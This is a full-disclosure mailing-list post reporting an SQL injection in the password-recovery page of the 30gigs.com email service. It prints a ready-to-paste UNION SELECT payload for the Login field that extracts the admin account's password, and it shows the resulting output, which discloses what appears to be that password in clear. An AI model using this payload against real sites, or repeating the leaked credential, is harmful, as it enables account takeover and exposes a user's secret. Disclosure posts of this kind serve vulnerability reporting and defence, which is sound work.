[Full-disclosure] 30gigs SQL injection vulnerability

[cumhur onat]

I found a sql injection vulnerability, which leads to password disclosure in
30gigs.com <http://30gigs.com> email service.
The vulnerability exists in http://www.30gigs.com/getpassword/ page due to
lack of validation of user submitted data.
Proof of Concept:
enter http://www.30gigs.com/getpassword/
and copy & paster this code in the Login field, finally submit the form.

not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin

it will give an output like below, in which "runsit" corresponds to the
password of account "admin"
We have sent the password for your not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where
userLogin='admin at 30gigs.com account to runsit

The site has been notified about the vulnerability 2 weeks ago, but no
response was taken.
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